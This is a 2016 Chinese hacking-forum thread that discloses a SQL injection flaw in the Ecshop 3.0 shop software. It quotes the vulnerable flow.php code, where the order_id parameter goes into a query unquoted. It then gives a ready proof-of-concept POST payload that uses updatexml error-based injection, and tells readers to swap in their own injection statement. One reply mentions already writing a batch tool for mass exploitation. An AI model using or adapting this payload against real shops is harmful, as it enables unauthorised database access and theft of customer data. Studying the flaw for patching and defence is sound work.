查看: 11171|回复: 3

Ecshop3.0注入漏洞

[复制链接]
  • TA的每日心情
    擦汗
    2020-3-28 11:39
  • 签到天数: 138 天

    [LV.7]常住居民III

    发表于 2016-5-29 21:49:50 | 显示全部楼层 |阅读模式
    0x0  前言

    本文大多数内容来自于T00ls的https://www.t00ls.net/viewthread.php?tid=34104&extra=page=1&orderby=lastpost&filter=86400

    0x1  内容

    原文链接:http://www.wooyun.org/bugs/wooyun-2016-0212882

    根据原文中 @破晓_Vampire 给出的提示

    “flow.php 文件 —> order_id 参数吧”

    于是乎就下了一套3.0的ecshop看了看 一看之下 还真发现了问题

    漏洞文件 flow.php 2130-2135 行

    [AppleScript] 纯文本查看 复制代码
    /*漏洞代码:*/
        elseif ($_REQUEST['step'] == 'repurchase') {
        include_once('includes/cls_json.php');
        $order_id = strip_tags($_POST['order_id']);
        $order_id = json_str_iconv($order_id);
        $user_id = $_SESSION['user_id'];
        $json  = new JSON;
        $order = $db->getOne('SELECT count(*) FROM ' . $ecs->table('order_info') . ' WHERE order_id = ' . $order_id . ' and user_id = ' . $user_id);
        if (!$order) {
            $result = array('error' => 1, 'message' => $_LANG['repurchase_fail']);
            die($json->encode($result));
        }
    
        $db->query('DELETE FROM ' .$ecs->table('cart') . " WHERE rec_type = " . CART_REPURCHASE);
        $order_goods = $db->getAll("SELECT goods_id, goods_number, goods_attr_id, parent_id FROM " . $ecs->table('order_goods') . " WHERE order_id = " . $order_id);
        $result = array('error' => 0, 'message' => '');
        foreach ($order_goods as $goods) {
            $spec = empty($goods['goods_attr_id']) ? array() : explode(',', $goods['goods_attr_id']);
            if (!addto_cart($goods['goods_id'], $goods['goods_number'], $spec, $goods['parent_id'], CART_REPURCHASE)) {
                $result = false;
                $result = array('error' => 1, 'message' => $_LANG['repurchase_fail']);
            }
        }
        die($json->encode($result));
        }

    注意看$order_id
    跟进 函数json_str_iconv

    [AppleScript] 纯文本查看 复制代码
    /*函数*/
    function json_str_iconv($str)
    {
        if (EC_CHARSET != 'utf-8')
        {
            if (is_string($str))
            {
                return addslashes(stripslashes(ecs_iconv('utf-8', EC_CHARSET, $str)));
            }
            elseif (is_array($str))
            {
                foreach ($str as $key => $value)
                {
                    $str[$key] = json_str_iconv($value);
                }
                return $str;
            }
            elseif (is_object($str))
            {
                foreach ($str as $key => $value)
                {
                    $str->$key = json_str_iconv($value);
                }
                return $str;
            }
            else
            {
                return $str;
            }
        }
        return $str;
    }

    这里显然没过滤了 再看看上面的SQL语句 居然没有单引号包含  这样就能直接注射了

    0x3  POC
    POST提交一下内容到 http://www.admintony.top/flow.php?step=repurchase

    [AppleScript] 纯文本查看 复制代码
    order_id=1 or updatexml(1,concat(0x7e,(user())),0) or 11#

    222.png

    在uesr()处填写注入语句即可!
    回复

    使用道具 举报

  • TA的每日心情
    开心
    2017-10-1 06:59
  • 签到天数: 308 天

    [LV.8]以坛为家I

    发表于 2016-5-30 11:24:21 | 显示全部楼层
    呵呵,刚周末把批量写出来了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    2017-8-22 16:10
  • 签到天数: 93 天

    [LV.6]常住居民II

    发表于 2016-5-30 16:14:52 | 显示全部楼层
    wooyun 都没公开 你就公开了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2016-6-9 02:05
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2016-6-9 18:41:14 | 显示全部楼层
    学习一下。。
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-5-21 06:09 , Processed in 0.020344 second(s), 14 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部